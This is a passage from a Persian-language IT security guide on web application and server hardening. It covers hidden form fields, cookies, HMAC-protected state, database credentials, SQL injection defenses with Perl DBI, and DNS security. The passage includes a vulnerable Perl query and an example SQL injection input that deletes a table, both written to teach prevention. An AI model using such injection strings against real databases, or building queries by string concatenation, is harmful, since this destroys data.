توانند هر اندازة دلخواهي داشته       شوند، فيلدهاي مخفي در عمل مي        بايت محدود مي   ۴۰۶۹ كه به    هاcookieذخيره شود؛ و برخلاف     

  :اما استفاده از فيلدهاي مخفي به اينصورت مشكلاتي را نيز در پي دارد. باشند

گاهي اوقات ايـن مـسئله مـورد انتظـار و           . ، ممكن است اجناس از كارت خريد حذف شوند         را فشار دهد   backاگر كاربر كليد     •
 .مفيد است، اما هميشه اينطور نيست

 كه توسط يكنفر مورد استفاده قرار گرفته، به رؤيت فرد ديگري برسد، مثلاً بـه ايـن دليـل كـه        HTMLممكن است صفحات     •
در اين شـرايط ممكـن اسـت نـام كـاربري، رمـز عبـور، و يـا                 . ته شده است  يك دستگاه رايانه ميان چند نفر به اشتراك گذاش        

 .محتويات كارتهاي خريد هريك از كاربران براي سايرين افشاء شود

 در -شـده اسـت    كه حـاوي اطلاعـات جاسـازي   - كامل   URLكنيد،   استفاده مي  URLاگر براي ذخيره و انتقال اطلاعات از         •
كنـد،  دهندة وب ديگر دسـتيابي پيـدا مـي        هنگاميكه كاربر به يك سرويس    .  خواهد شد  دهندة وب ذخيره    فايلهاي ثبت سرويس  

 بفرستد، و اين مسئله ممكن است امنيت و يا حريم خصوصي            [sic]دهندة   ارجاع header كامل را در     URLتواند  مرورگر مي 
 .دار كندكاربر را خدشه

شود، با آنچه كه در ابتدا ارائه شده يكسان         هندة وب دريافت مي   د  در بسياري از موارد، محتويات فيلد مخفي كه توسط سرويس          •
 شما را ذخيره كند، فرمهاي آنرا مورد تحليل قـرار           HTMLتواند صفحة     مهاجم مي . است، اما اين مسئله تضمين چنداني ندارد      

 يك صـفحة وب     تواندمهاجم همچنين مي  .  مخصوص خود را با محتويات دلخواه صادر كند        POST و   GETدهد، و فرامين    
از آنجا كه راهي بـراي      . دهنده بفرستد پذيريها به سمت سرويس   را بارها و بارها با تغييرات جزئي و در تلاش براي يافتن آسيب            

 .اي جز ايجاد ايمني در برابر آن نيستجلوگيري از اين رفتار وجود ندارد، پس چاره

ها را از ميان راه بـدزدد ممكـن اسـت           مهاجمي كه بتواند داده    رمزگذاري نشده باشد،     SSL با پروتكل    HTTPچنانچه اتصال    •
 .بتواند به اطلاعات لازم براي تصديق هويت و يا ساير اطلاعات حساس نيز دسترسي پيدا كند

https://telegram.me/karnil
www.karnil.com


 راهنماي امنيت فناوري اطلاعات ٣٦٨ 

  هاcookieاستفاده از 

ز عبـور،  ها ايـن اسـت كـه اطلاعـاتي چـون نـام كـاربري، رم ـ       URLيك جايگزين جالب براي اين استفاده از فيلدهاي مخفي و يا           
  . ذخيره شوندHTTPهاي cookieمحتويات كارتهاي خريد و چيزهايي از اين قبيل، در 

هايي كه براي رديابي كاربر، كارتهاي خريد، و سـاير انـواع            cookieهاي خود را اصلاح كنند، و بنابراين        cookieتوانند    كاربران مي 
عـلاوه بـر    . برنـد هاي تركيبي رنج مـي    URLت فيلدهاي مخفي و يا      روند نيز از همة مشكلا      هاي تجارت الكترونيكي بكار مي    برنامه
  :ها مشكلات خاص خود را نيز دارندcookieاين، 

  مورد استفاده قرار داد؛- حتي پس از انقضاي آنها -هاي قديمي را cookieممكن است تحت شرايطي بتوان  •
هـاي بلندمـدت    ي ديسك سخت خودداري كنند نـسخه شدن خود روخواهند از كپيهايي كه ميcookieتوانند از كاربران مي  •

 تهيه نمايند؛ و
 .كنندها خوشبين نيستند و كلاً اين قابليت را غيرفعال ميcookieبرخي از كاربران به  •

  هاcookieهاي مركب، و URLكردن فيلدهاي مخفي، استفاده از رمزنگاري براي مقاوم

هـا  cookie تركيبـي، و     هايURLتفاده از رمزنگاري اطلاعات فيلدهاي مخفي،       توان با اس    گفته شد را مي     بسياري از مشكلاتي كه     
هـاي  توانـد بـه برنامـه   شده در رايانه بوسيلة كاربران جلوگيري كند، و نيـز مـي        تواند از درك اطلاعات ذخيره      رمزنگاري مي . حل كرد 
در اينجا مثالهايي از بخش قبلي كه . ا كشف كننددهندة وب اجازه دهد كه تغييرات غيرمجاز و يا تصادفي در اين اطلاعات ر            سرويس

  .شوند در آنها از رمزنگاري استفاده شده ارائه مي

  :تأييد اعتبار نام كاربري و رمز عبور

<INPUT TYPE=”hidden” NAME=”auth” 
VALUE=”p6e6J6FwQOk0tqLFTFYq5EXR03GQ1wYWG0ZsVnk09yv7ItIHG17ymls4UM%2F1bw
HygRhp7ECawzUm%0AKl3Q%2BKRYhlmGILFtbde8%0A:”> 

  :يك كارت خريد ايمن

<INPUT TYPE=”hidden” NAME=”cart” 
VALUE=”fLkrNxpQ9GKv9%2FrAvnLhuLnNDAV50KhNPjPhqG6fMJoJ5kCQ5u1gh0ij8JBqphBxd
GVNOdja41XJ%0APLsT%2Bt1kydWN4Q%2BO9pW0yR9eIPLrzaDsZxauNPEe7cymPmXwd%
2B6c1L49uTwdNTKoS0XAThDzow%3D%3D%0A:”> 

  : تركيبيURLك ي

http://www.vineyard.net/cgi-bin/password_ 
tester?p6e6J6FwQOk0tqLFTFYq5EXR03GQ1wYWG0ZsVnk09yv7ItIHG17ymls4UM%2F1bwHy
gRhp7ECawzUm%0AKl3Q%2BKRYhlmGILFtbde8%0A: 

ايـن بلـوك رمـزي بـا        . اندين شده شده جايگز در هريك از اين موارد، متغيرهاي قابل فهم ساده با يك بلوك از اطلاعات رمزنگاري              
  :آيداستفاده از روالي مشابه روال زير بوجود مي

اينكـار در اصـطلاح     . متغيرهاي منفردي كه بايد از مقدار آنها حفاظت كرد را بصورت يك رشته از كاراكترها كدگـذاري كنيـد                   .١
 .شود  ناميده مي٢٣٢كردنمرتب

هاي شـما در مقابـل حمـلات        شود برنامه انجام اينكار باعث مي   . دهيد بايتي براي زمان اين متغيرها اختصاص        ۴يك برچسب    .٢
 .ايمن شوند" تكرار"

                                                                                                                                            
232  Marshalling 
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 .شود فضاي كمتري اشغال گردداين امر باعث مي. ها را فشرده كنيد اطلاعات و داده .٣
كنيد، انجام اينكار   شده را رمزگشايي    براي اينكه بتوانيد بلوك رمزگذاري    . ها درآوريد   طول رشتة اطلاعاتي را به قالب ساير داده        .٤

 .لازم است
 .رشتة كاراكترها را با استفاده از يك تابع رمزگذاري متقارن و يك كليد مخفي رمزگذاري نماييد .٥
 باعث  HMACاين خلاصة   .  از اين رشتة رمزشده بدست آوريد و آنرا به رشتة رمزشده متصل كنيد             HMACيك تابع خلاصة     .٦

 .شده حفاظت بعمل آيدده، و مرتبششود از همة اطلاعات رمزشده، فشردهمي
 .سازي كنيد و رشتة حاصل را بازگردانيد كدگذاري، رمزگذاري، و فشردهBase64رشتة حاصله را بوسيلة  .٧
 . ها استفاده نماييدcookieهاي تركيبي، و URLشدة فشرده براي فيلدهاي مخفي، شدة رمزگذارياز اين رشتة كدگذاري .٨

  :شده، كافي است گامهاي زير را دنبال كنيد تا عمليات قبلي معكوس شودتبار اين رشتة رمزگذاريحال براي رمزگشايي و تأييد اع

 .ها بدست آوريدcookieهاي تركيبي، و يا URLشدة فشرده را از فيلدهاي مخفي، رشته كد رمزگذاري .١
 . را يافته و از رشتة اصلي جدا سازيدBase64كدگذاري  .٢
 .نيد را كدگشايي كBase64رشتة كدشدة  .٣
٤. HMAC    در . آمـده دسـتكاري شـده اسـت       اگر اعتبار آن تأييد نشود نشانگر آن است كه رشـتة بدسـت            .  را ارزيابي اعتبار كنيد

 .اينصورت يك پيغام خطا بازگردانيد
 .اطلاعات را رمزگشايي نماييد .٥
اين مرحله بـه ايـن   . ه نماييدطول رشتة اطلاعات را بدست آوريد و از آن براي بدست آوردن رشتة اوليه با طول صحيح استفاد       .٦

كند تا طـول آنـرا بـه يـك مقـدار            دليل لازم است كه تابع رمزگذاري، معمولاً به انتهاي دادة ورودي بايتهاي خالي اضافه مي              
 .شده برساندمشخص از پيش تعيين

 .شده را از فشردگي خارج كنيددادة فشرده .٧
 .اگر برچسب زماني خيلي قديمي بود، دادة مربوطه را قبول نكنيد. آمده بخوانيدبرچسب زماني را از ابتداي دادة بدست .٨
 .فرستندة اولية درخواست بازگردانيد تا مقدار همة متغيرهاي اوليه را از روي رشته بدست آورداطلاعات باقيمانده را به  .٩

دگذاري داده بسيار سـاده اسـت و        اين مراحل بنظر بسيار پيچيده هستند و محاسبات بسيار سنگيني دارند، اما حقيقت اين است كه ك                
اي آمـادة اسـتفاده بوجـود آمـده، ماننـد           همچنـين بـراي اينكـار توابـع كتابخانـه         . توانـد بـا سـرعت بـسيار زيـادي انجـام شـود             مي

CGI::EncryptForm در زبان Perl.  

  اتصال به پايگاههاي داده

اسـتفاده از  . دهندة وب ارتباط برقرار كنـد   اي خارج از سرويس    ممكن است بخواهد با پايگاههاي داده      CGIبرنامة  يك برنامه يا قطعه   
سازي كارتهـاي خريـد، و حتـي پـردازش دسـتورات            پايگاههاي دادة بيروني براي اهداف مختلفي چون ذخيرة تنظيمات كاربر، پياده          

فرسـتد، نتيجـه را      مـي  queryيـك   كنـد،   آيد، يك اتصال به پايگاه داده باز مـي        برنامه به اجرا در مي    زمانيكه قطعه . گيردصورت مي 
در برخي سيـستمها، بـراي      . نمايدشده براي تهية پاسخي براي درخواست كاربر استفاده مي        كند، و سپس از نتايج دريافت     دريافت مي 

دودي  سيستمهاي ديگر تعـداد مح ـ در برخي. شودآيد يك اتصال پايگاه دادة جديد ساخته مي     برنامة جديد كه به اجرا در مي      هر قطعه 
  .گرددها به پايگاه داده استفاده ميبرنامهاتصال دائمي وجود دارند كه همواره از همانها براي اتصال قطعه

پذيري بسيار زيادي پيدا كند،     شود طراح صفحات قدرت عمل و انعطاف      استفاده از پايگاههاي داده در طراحي صفحات وب باعث مي         
نجر به كاهش امنيت كلي سيستم شود؛ چراكه بسياري از ضعفهاي امنيتي از آنجـا ناشـي                 اما متأسفانه ممكن است كه اين راهبرد م       

. دهندة پايگاه داده به اجرا در آورد و نتـايج آنـرا مـشاهده كنـد                را روي سرويس   SQLاند كه مهاجم توانسته يك دستور دلخواه        شده
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كنيد، حتماً مطمئن شويد كـه      ي پايگاه داده استفاده مي    هادهندهچنانچه براي قدرتمندتر كردن طراحي صفحات وب خود از سرويس         
  .اند و مورد استفاده قرار دارندها با رعايت كلية جوانب امنيتي مستقر شدهدهندهآن سرويس

  حفاظت از اطلاعات حسابهاي كاربري

برنامـه را   وب ارسال كند، بايد قطعـه     دهندة  برنامة درحال اجرا روي سرويس    قطعهدهندة پايگاه داده نتايج را به         پيش از آنكه سرويس   
بيشتر پايگاههاي داده بـراي ايـن   . برنامه، مجاز به دريافت اطلاعات درخواستي استتصديق هويت كند تا مطمئن شود كه آن قطعه    

سـت كـه    كنند، كه اينكار به اين مفهوم ا      منظور از يك نام كاربري و رمز عبور ساده براي تصديق هويت حساب كاربري استفاده مي               
دهنـدة پايگـاه داده   برنامه بايد يك نام كاربري و رمز عبور معتبر را در خود ذخيره كرده باشد و هرگاه كه درخواستي از سرويس                  قطعه

  .دارد آنرا ارائه نمايد

هـاي خـود وارد   برنامـه ساده در متن برنامـة قطعـه  اند كه نام كاربري و رمز عبور را بصورت متن   نويسان عادت كرده  بسياري از برنامه  
  :متأسفانه اين روش مشكلات متعددي به همراه دارد. كنند

 شوند؛برنامه را ببيند، نام كاربري و نيز رمز عبور فاش ميچنانچه مهاجم بتواند متن قطعه •
هـاي  برنامـه طعـه ها بخواهند از آن نام كاربري و رمز عبور استفاده كنند، اين اطلاعات بايد در ق               برنامهاگر تعداد زيادي از قطعه     •

 زيادي ذخيره شود؛ و
هاي متناظر خواهد بود، و در انجام اين تغييرات ممكن اسـت            برنامهتغيير دادن نام كاربري و رمز عبور مستلزم تغيير متن قطعه           •

 .ها رخ دهدبرنامهتغييرات ناخواستة ديگري نيز در متن قطعه

يك روش بهتر اين است كه اين اطلاعات را روي يـك فايـل   برنامه، قطعه در  كردن نام كاربري و رمز عبور پايگاه داده         بجاي ذخيره 
اي كـه بـه پايگـاه داده        برنامـه شود اطلاعات لازم براي تصديق هويت از قطعـه        اينكار باعث مي  . دهندة وب ذخيره كنيم     در سرويس 

query برنامـه  در اين روش، قطعـه    . يابدآن افزايش مي  فرستد مجزا شود، و بدين ترتيب امنيت سيستم و نيز قابليت پشتيباني از               مي
  .فرستدخواند، و سپس درخواست خود را به پايگاه داده ميكند، نام كاربري و رمز عبور را ميدهنده اين فايل را باز مي در سرويس

ميزبان قـرار نداشـته باشـند،    دهندة وب هردو روي يك رايانه بعنوان  دهندة پايگاه داده و سرويس به ياد داشته باشيد كه اگر سرويس    
اي استفاده كنيـد      در اينصورت بايد از پايگاه داده     . آن نامهاي كاربري و رمزهاي عبور از طريق شبكه ميان ميزبانها تبادل خواهند شد             

 عبـور   كه بتواند اتصالات خارجي را بصورت رمزشده و يا نوع ديگري از تصديق هويت بپذيرد تا در آن نامهاي كـاربري و رمزهـاي                       
  .ساده منتقل نشوندبصورت متن

  گذاري استفاده كنيدسازي و گيومه براي نمايش مستقيم محتويات پايگاه داده از غربال

شود غربال شوند تا مطمئن شـويم كـه   همانطور كه پيشتر ذكر شد، بسيار مهم است كه همة اطلاعاتي كه از طرف كاربران وارد مي              
هاي ورودي كاربران پيش از فرستادن ، بررسي داده SQLهاي  دهنده  هنگام كار با سرويس   . جود دارد در آنها تنها كاراكترهاي مجاز و     

 توسـط   SQLدليل اين مسئله اين است كه بايد جلوي ايجاد دستورات دلخـواه             . كنداهميت مضاعفي پيدا مي   دهنده  آنها به سرويس  
  . گرفته شودSQLهاي دهنده كاربران و ارسال آنها به سرويس

پايگـاه داده ذخيـره كنـد، قابـل     فرم وب داشته باشيد كه از كاربر نام او را بپرسد و سپس ايـن اطلاعـات را در       عنوان مثال اگر يك     ب
دهد به احتمال زياد نام اين فرد را از يك فيلد خواهـد گرفـت، آنـرا در يـك     اي كه اينكار را انجام ميبرنامهبيني است كه قطعه   پيش

 perlبرنامـة   به اين قطعـه   .  خواهد ساخت  SQLيره خواهد كرد، و سپس با استفاده از اين متغير يك دستور              ذخ name$متغير مثل   
  :توجه كنيد

$name = param(‘name’); 
sql_send(“insert into names (name) value (‘$name’);”); 
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تواند ورودي خاصي را بعنـوان        يي داشته باشد، مي   متأسفانه اين روش چندان ايمن نيست، چراكه اگر كسي با ساختار برنامة شما آشنا             
  :اين نام را در نظر بگيريد.  به خواست او به اجرا درآيدSQLنام وارد فيلد مربوطه كند كه باعث شود يك فرمان 

John Smith’)”; delete from names; 

اول دسـتور   : عنوان سه دستور تفسير خواهد شد      از اين نام استفاده شود، رشتة حاصله در حقيقت ب          SQLزمانيكه براي ساختن دستور     
شود، و سوم دستوري كه حاوي يك اشـتباه       مي namesها در جدول    درج در پايگاه داده، دوم دستوري كه منجر به حذف همة داده           

  :گرامري است

Insert into names (name) value (‘John Smith’)”; delete from names; ’); 

كنند، سپس   مي namesرا وارد جدول     درصورت دريافت چنين متني بعنوان ورودي، يك قلم داده           SQL هاي  دهنده  بيشتر سرويس 
  .دهند گزارش ميSQLنمايند، و پس از آن يك خطاي هاي آن جدول را پاك ميتمام داده

كنيـد،  ا به دقت غربـال مـي     هاي ورودي ر  ها از اين دسته از حملات اين است كه مطمئن شويد اولاً داده            برنامهروش محافظت قطعه  
  .نماييد مي٢٣٣گذاريگيومهمناسبي   به نحو SQLدهندة  شده را پيش از فرستادن به سرويسثانياً تمام اطلاعات غربال

 بصورت SQLدهندة شدن هر رشته به سرويسگذاري استفاده از يك تابع است كه همواره هنگام فرستاده    بهترين روش براي گيومه   
هـاي پايگـاه داده يـك روش     استفاده كنيد، بيشتر گرداننـده DBIافزاري  و يك بستة نرمperlاگر شما از زبان . شودمجزا فراخواني  

  :توانيد از آن بصورت زير استفاده كنيدتواند اينكار را براي شما انجام دهد و شما ميكنند كه مي گذاري ارائه مي گيومه

# $dbh is a DBI object that represents a handle to an open database connection 
$qname = $dbh->quote(param(‘name’)); 
$dbh->do(“insert into name (name) value($qname)”); 

كند كه  اين روش شما را قادر مي     . ترجمه نماييد  متغيرها، پيش  binding را با استفاده از      SQLهاي  queryروش ديگر آن است كه      
تـوان  براي نمونه، در مثال قبل مـي      .  را بجاي متغيرهاي حقيقي با جايگاههاي آن متغييرها ترجمه نماييد          SQLي  هاqueryبتوانيد  
query را با استفاده از يك واسط فرضي SQL كند بعنوان جايگاه متغيرها استفاده مي@  انجام داد كه از علامت:  

$func = sql_compile(“insert into name (name) value (@)”); 

  :توانيد اينكار را با يك تابع ديگر نيز انجام دهيدحال شما مي

$name = param('name'); 
sql_bind($func,1,$name); # bind the variable name to the first variable 
sql_exec($func); # execute the bound function 

  :توانيد اين تابع را بصورت زير بنويسيد ميكنيد، معمولاً استفاده ميDBIافزاري اگر از بستة نرم

# Insertion example 
$name = param('name'); 
$dbh->do(“insert into name (name) value (?)”, undef, $name); 
# Selection example 
$sth = $dbh->prepare(“select * from name where id = ?”); 
$sth->execute($name); 

  . دارندSQLهاي query، و اجراي bindingمتفاوتي براي ترجمه، اي واسطهاي برنامهتلف، گرامر دستورات و سيستمهاي مخ

                                                                                                                                            
233  Quoting 

https://telegram.me/karnil
www.karnil.com


 راهنماي امنيت فناوري اطلاعات ٣٧٢ 

  روزرساني محتوا به

كنند؟ در اولين روزهايي كه شبكة جهاني وب آغاز به كـار كـرده بـود                  روز مي   دهندة وب را به     كاربران شما چگونه محتويات سرويس    
 بــصورت مــستقيم روي HTMLدهنــدگان و بوســيلة پردازشــگرهاي مــتن و يــا  ويــسان و توســعهن بيــشتر محتواهــا توســط برنامــه

هـا ايجـاد و سـپس روي    Macهـاي شخـصي و    آمدند؛ امـا امـروزه بيـشتر محتواهـا روي رايانـه      هاي وب بوجود مي    دهنده  سرويس
توانـد مـورد    به همين دليل هم مي      در حقيقت يك عمليات انتقال فايل است و        uploadاين  . شوند مي uploadدهندة وب     سرويس
 ،scpهمانطور كه پيشتر بحث شد، كاربران بايد ملزم شوند كه از يـك سيـستم انتقـال فايـل ايمـن نظيـر                        . سمع قرار بگيرد    استراق

WebDAV   روي SSL   در برخي موارد ممكـن     . هاي ناامن انتقال فايل روي يك شبكة خصوصي مجازي استفاده كنند          ، و يا برنامه
  . و يا ديسكهاي فشرده ترجيح داشته باشدfloppyها از طريق وسايلي همچون ديسكهاي  نتقال فيزيكي برنامهاست ا

  هاي پايگاه داده دهنده سازي سرويس ايمن
كنيد، حفاظـت از خـود پايگـاه داده هـم ضـروري اسـت؛ و         دهندة وب خود از يك پايگاه داده استفاده مي        اگر شما در سمت سرويس    

دهنـدة وب روي آن اسـت، آن پايگـاه نبايـد دسترسـي                ايگاه داده هم روي همان ميزباني به اجرا درآمده كه سـرويس           چنانچه اين پ  
  :دهندة پايگاه داده روي يك ميزبان مجزا به اجرا درآمده است ملاحظات زير را مدنظر قرار دهيد اگر سرويس. اي داشته باشدشبكه

دهندة پايگاه داده براي افراد خارج از         اي تنظيم كنيد كه دسترسي به سرويس      ونهآرايش هندسي شبكه و ديوارة آتش خود را بگ         •
يكي بـراي اتـصال بـه    : دهندة وب از دو كارت شبكه استفاده نماييد توانيد روي سرويسبراي اينكار مي . سازمان ناممكن باشد  

اين ديـوارة   . هندة پايگاه داده متصل گردد    د  تواند به سرويس  اينترنت و ديگري براي اتصال به يك ديوارة آتش كوچك كه مي           
دهنـدة    دهنـدة وب و سـرويس       هاي پايگاه داده بتوانند ميان سـرويس      queryاي پيكربندي شده باشد كه تنها       آتش بايد بگونه  

 .پايگاه داده تبادل شوند

هايي كه از پايگاه از برنامهغير . دهندة پايگاه داده براي ورود كاربران مسدود است مطمئن شويد كه حسابهاي كاربري سرويس      •
 .كنند، تنها كساني كه بايد بتوانند به اين سيستم وارد شوند عبارتند از راهبران سيستم و راهبران پايگاه دادهداده استفاده مي

ابه شود، و مـش   هاي پشتيبان تهيه مي    دهندة پايگاه داده مورد حفاظت فيزيكي قرار دارد، از آن نسخه            مطمئن شويد كه سرويس    •
 .هاي ايمن از پشتيباني لازم برخوردار است دهنده ساير سرويس

هنگام تعريف كاربران پايگاه داده و امتيازات دسترسي آنها اصـلِ حـداقل دسترسـي را                . حفاظت از خود پايگاه داده نيز ضروري است       
داده نياز دارد، يـك حـساب كـاربري بـا            فقط به دسترسي خواندن از تنها يك جدول پايگاه           CGIبرنامة  اگر يك قطعه  . رعايت كنيد 

برخـي  . برنامه را از طريق آن حساب كاربري به پايگاه داده متصل نماييددسترسي محدودشده به آنچه نياز است تعريف كنيد و قطعه      
 بعـضي مـوارد حتـي       در. كنند كه بتوانيد مجوزهاي بسيار جزئي به كاربران بدهيد          افزارهاي پايگاه داده اين امكان را فراهم مي         از نرم 
توانيد دسترسي به ستونها و يا سطرهاي مورد نظرتان در يك جدول را براي يك حساب كاربري، مجاز يا غيرمجاز بدانيد، يـا بـر             مي

شود از اين قابليتهاي حفاظتي توصيه مي. حسب محل يا نحوة اتصال به پايگاه داده، دسترسيهاي متفاوتي براي كاربران تعريف كنيد            
 .بريدبهره ب

  نامهاي  دهنده سازي سرويس ايمن
هـاي روي  دهندهساير سرويس)  به نام ميزبان و نيز نام ميزبان به نام ميزبانIPو آدرس  (IPسازمانها براي تبديل دقيق نام ميزبان به آدرس      

دهنـدة   نت بايـد يـك سـرويس   از آنجا كه هر دامنه در اينتر. خود متكي هستند) هـاي DNS(هاي نام دامنه   دهندهاينترنت، به سرويس  
ها DNSهاي نام، آدرس آنها بايد عمومي باشد،          دهنده  معتبر نام داشته باشد، و به اين دليل كه براي قابل استفاده بودن اين سرويس              

هاي كاربردي در فهرستهاي كنترل دسترسي خـود از نـام           بسياري از برنامه  . شوند  نقطة مناسبِ حمله براي مهاجم محسوب مي      يك  
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 را در اختيار خود درآورد و يا محتويات آنرا مخـدوش نمايـد، معمـولاً             DNSكنند، و لذا مهاجمي كه بتواند كنترل          زبان استفاده مي  مي
  .خواهد توانست از آن بعنوان يك گام مؤثر جهت نفوذ به سيستم شما استفاده كند

دهندة نام   يك نسخه از تمام پايگاه دادة سرويس       download همچنين سيستمي براي     DNSبجز تبديل نامهاي انفرادي ميزبانها،      
كنند تـا يـك   هاي ثانويه از آن استفاده مي     دهنده   نام دارد و همان فرآيندي است كه سرويس        ٢٣٤انتقال ناحيه اين فرآيند   . كندارائه مي 

  .دهندة اصلي را بدست آورند نسخه از پايگاه دادة سرويس

هـاي   يك پروتكل سريع و مبتني بر بـسته        UDPاز آنجا كه    . TCP باشد و هم     UDP تواند هم مي  DNSپروتكل برقراري ارتباط    
دهد، معمولاً براي فرآيند واقعي تبديل نام ميزبـان مـورد اسـتفاده قـرار         اطلاعاتي است كه ميزان محدودي از اطلاعات را انتقال مي         

 كـه   -هاي زياد، قابل اطمينان و پايدار نيـاز دارنـد           بادل داده شود كه به ت   هايي استفاده مي   نيز غالباً در برنامه    TCPسيستم  . گيردمي
  . استفاده كنندTCPتوانند از هاي منفرد هم ميqueryعلاوه بر اين، . باشد همان انتقالهاي ناحيه مي

  DNSانتقالهاي ناحيه در 

هاي متصل بـه شـبكة داخلـي     ة رايانهتواند فهرست كاملي از هم  تواند يك مخاطرة امنيتي محسوب شود، چراكه مي       انتقال ناحيه مي  
كنند اجازة عبـور   استفاده ميUDP كه از پروتكل DNSهاي بسياري از پايگاهها به بسته. سازمان را به يك كاربر خارجي ارائه كند    

. نمايندسدود مي  كه منبع آن يك پايگاه خارجي باشد را م         DNSدهند، اما صريحاً انتقال ناحيه      هاي آتش و مسيريابها را مي     از ديواره 
 هر رايانة داخلـي را      IPاين طراحي، انتخابي ميان ايمني و قابليت استفاده است؛ چون در آن كاربران خارجي قادر خواهند بود آدرس                   

  .بيابند، اما تنها درصورتيكه نام آن رايانه را از قبل داشته باشند

توانيد جلوي انتقالهاي  غربال كند مي۵۳ روي پورت TCPدن اتصالات ها را با مسدود كربا استفاده از يك مسيرياب كه بتواند بسته       
سازي شده كه شـما     پياده" allow-transfers"، يك روالِ به نام      BINDدهندة نامِ   هاي جديد سرويس   در نسخه  ٢٣٥.ناحيه را بگيريد  

آيد كه  اين قابليت هنگامي بكار مي    . خص كنيد  ميزبانهايي كه مجاز به انتقال ناحيه هستند را مش         IPكند بتوانيد آدرسهاي    را قادر مي  
خواهيـد سـايرين از چنـين       هاي ثانويه كه درون سازمان شما نيستند مجوز انتقال دامنه بدهيـد، امـا نمـي               دهندهبخواهيد به سرويس  

  .قابليتي برخوردار باشند

  DNSحملات نام دامنة 

  :دهندة نام، اطلاعات ناصحيح ارائه كنداند كاري كند كه سرويستوسه راه عمده وجود دارد كه مهاجم با استفاده از آنها مي

  كنندهبارگذاري اطلاعات گمراه

 پاسخي ناصحيح   queryدهندة نام شبكه بارگذاري شده و باعث شود كه يك           تواند روي حافظة نهان سرويس    اطلاعات نادرست مي  
هاي بيرونـي هـم در      دهندة نام شما با شبكه    اگر سرويس . ت دارد  شهر ٢٣٦كردن حافظة نهان  آلودهاين مسئله معمولاً به     . دريافت كند 

اي و يـا اشـكال پيكربنـدي، روي    بـرداري از يـك نقـص برنامـه    تماس است، اين امكان وجود دارد كه مهاجمـان بتواننـد بـا بهـره          
 در مقابل اين قبيل حملات،  دهندة نام بهترين روش حفاظت از سرويس    . كننده بارگذاري كنند  دهندة نام شما اطلاعات گمراه     سرويس

توانيـد ايـن    كنيـد، مـي   اگر از يك ديوارة آتـش اسـتفاده مـي         . جداسازي آن از شبكة خارجي است، تا ميان آنها ارتباطي برقرار نشود           
دهندة نامي كـه    سرويس. يكي در جلوي ديوارة آتش، و ديگري در پشت آن         : دهندة نام انجام دهيد   جداسازي را با اجراي دو سرويس     

دهندة نامي كه پـشت ديـوارة آتـش          رايانة دروازة شما است؛ و سرويس      IPجلوي ديوارة آتش قرار دارد تنها حاوي نامها و آدرسهاي           
ها را به جداول مسيريابي ايستا نيـز مجهـز          دهندهچنانچه اين سرويس  .  تمام ميزبانهاي داخلي شما    IPاست حاوي نامها و آدرسهاي      

                                                                                                                                            
234  Zone Transfer 

  .هستند نيز بشود TCPكه مجاز به استفاده از  DNSهاي queryتواند منجر به مسدود شدن در موارد بسيار نادر، انجام اينكار مي   ۲۳۵
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البته مطمئناً بسته به اينكه شما چگونـه ديـوارة آتـش    . (هاي نام را پيدا نخواهند كرد    دهدهيافتن به سرويس   راه نماييد اطلاعات مخرب امكان   
  )!حل چندان براي شما كارگشا نباشدايد، ممكن است اين راهايد و اينكه به كاربران اجازة انجام چه كارهايي روي شبكه دادهخود را ساخته و پيكربندي كرده

  يلهاي پيكربنديتغيير فا

براي تغيير فايلهاي پيكربندي، مهـاجم بايـد بـه        . دهندة نام را روي ميزبان آن تغيير دهد       تواند فايلهاي پيكربندي سرويس   مهاجم مي 
. دهندة نام روي آن درحال اجرا است دسترسي پيدا كند و قادر باشد فايلهاي آنرا دسـتكاري نمايـد  اي كه سرويس  سيستم فايل رايانه  

دهندة نام معمولاً بايد با حساب از آنجا كه سرويس. اندازي مجدد گردددهندة نام بايد راه   ز آنكه فايلها دستكاري شدند، سرويس     پس ا 
دهنده دسترسي ابركاربر داشته باشد تا بتواند اين نوع تهاجم را           كاربري ابركاربر آغاز شود، مهاجم مجبور خواهد بود به رايانة سرويس          

توانـد از ايـن مـسئله       دهندة نام شما را در اختيار داشته باشـد، مـي          أسفانه چنانچه يك مهاجمِ بامهارت كنترل سرويس      مت. انجام دهد 
از اين گذشته اگر مهاجم دسترسي ابركاربر هم نداشـته          . بعنوان يك گام مؤثر جهت در اختيار گرفتن كنترل كل شبكه استفاده نمايد            

دهندة نام توسط يك فرد مجاز، و   اندازي بعدي سرويس  ة نام را دستكاري كند، كافي است تا راه        دهندباشد اما بتواند فايلهاي سرويس    
  .شده اثرگذار شوندها صبر كند تا تغييرات دادهاندازي مجدد همة برنامهيا خرابي سيستم و راه

   پوياDNSاستفاده از 

آينـد كـه    اين قابليتها هنگـامي بكـار مـي       .  دارند DNSاول  روزرساني پوياي جد   قابليتهايي براي به   DNSهاي جديد   دهندهسرويس
شود بـدون   پويا باعث ميDNS. انداشتراك گذاشته شدهشوند و يا ميان افراد زيادي به    بصورت پويا تخصيص داده مي     IPآدرسهاي  
upload        دهنـدة دهنده بتوان جداول سرويس   اندازي مجدد سرويس   كردن دستي يك فايل متنيِ دامنه و راه DNS      درحـال اجـرا را 

  .روزرسانيهاي مخرب نيز استفاده كندتواند از اين قابليت براي انجام بهاما در عين حال مهاجم مي. روزرساني كردبه

در غيراينـصورت مهـاجم بـسادگي بـا تغييـر           . ها بايد بدرستي تصديق هويـت شـوند       DNSروزرسانيهاي پوياي   براي ايمن بودن، به   
هـاي  دهنـده بـسياري از سـرويس    . تواند شبكة شما را مورد تهاجم قرار دهـد        ها مي  رايانه IPمنه و آدرسهاي    نگاشت ميان نامهاي دا   

DNS         پويا تصديق هويت را بر اساس آدرس IP            روزرسـانيهايي كـه طبـق يـك         و با استفاده از يك كليد مشترك و يا استفاده از به
در حالـت   ). روزرسـانيها هـستند    خاصي مجاز به ارائه به     IPدر اين روشها تنها آدرسهاي      (د  دهناند انجام مي  الگوريتم كليد عمومي به امضا رسيده     

  .تواند سطح امنيت بالاتري بوجود آوردروزرساني با يكي از اين دو روش رمزنگاري مي منبع بهIPكلي ادغام آدرس 

تواند از آن اسـتفاده كنـد و دسترسـيِ ايجـاد        هاجم مي سازي نشده باشد و شما آنرا فعال كنيد، م         پويا بدرستي پياده   DNSاگر قابليت   
 پويـا رنـج     DNSهاي نام دامنه از حملات متواليِ تغييرِ بدخواهانـة            دهنده  بسياري از سرويس  . دهنده را بدست آورد     تغيير در سرويس  

  .برند مي

DNSSEC  
DNSSEC) RFP   يافتة  يك گونة توسعه  ) ۳۱۳۰ و   ۲۵۳۵ شمارةDNS       ليـد عمـومي مبتنـي بـر          است كه يـك زيرسـاخت كDNS  و 

